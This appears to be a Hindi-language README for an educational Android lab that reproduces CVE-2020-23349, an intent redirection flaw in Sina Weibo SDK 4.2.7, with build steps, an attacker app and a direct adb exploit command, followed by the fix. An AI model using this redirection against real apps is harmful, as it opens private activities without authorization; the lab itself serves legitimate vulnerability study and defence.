
Sina Weibo SDK 4.2.7 में CVE-2020-23349 के लिए शैक्षणिक एंड्रॉइड लैब
यह Sina Weibo एंड्रॉइड SDK 4.2.7 की Intent Redirection भेद्यता को स्थानीय रूप से पुनरुत्पादित करने वाला एक शैक्षिक प्रोजेक्ट है।
केवल अधिकृत टेस्ट डिवाइस या एमुलेटर पर उपयोग करें। इसे वास्तविक उपयोगकर्ता ऐप्स के विरुद्ध उपयोग न करें।
victim: वास्तविक openDefault-4.2.7.aar युक्त कमजोर ऐपattacker: exported WbShareTransActivity को कॉल करने वाला हमलावर ऐपvictim/.../PrivateActivity: android:exported="false" वाला पुनरुत्पादन लक्ष्यइस भेद्यता का प्रवाह इस प्रकार है:
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Android SDK 36 और JDK 17 की आवश्यकता है।
./gradlew clean assembleDebug
उत्पन्न फ़ाइलें:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity बटन दबाएँ।EXPLOIT SUCCESS स्क्रीन दिखाई देती है, तो पुनरुत्पादन सफल है।आप ADB से सीधे भी पुनरुत्पादन कर सकते हैं।
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
SDK 4.2.7 बाहरी Intent के startActivity और gotoActivity स्ट्रिंग्स पर भरोसा करता है और उन्हें निम्नलिखित रूप में उपयोग करता है:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
चूँकि this Victim ऐप का Context है, Android इसे Victim ऐप द्वारा अपनी private Activity चलाने के रूप में मानता है।
आधुनिक Android बिल्ड में android:exported को स्पष्ट रूप से निर्दिष्ट करना आवश्यक होता है, इसलिए यह प्रोजेक्ट पुराने SDK की अंतर्निहित exported स्थिति को पुनरुत्पादित करने के लिए victim/AndroidManifest.xml में स्पष्ट रूप से true निर्धारित करता है।
जिन अभ्यासों में शेयरिंग सुविधा की आवश्यकता नहीं है, उनमें निम्नलिखित मान को false में बदलें और पुनः बिल्ड करें।
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
बाद में यदि वही हमला किया जाता है, तो इसे SecurityException द्वारा अवरुद्ध कर दिया जाएगा। वास्तविक उत्पाद में Weibo SDK 4.x को हटाकर नवीनतम अनुरक्षित संस्करण में अपग्रेड करना चाहिए।
शामिल AAR Sina Weibo आधिकारिक सार्वजनिक रिपॉजिटरी के 4.2.7 कमिट से लिया गया है।
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar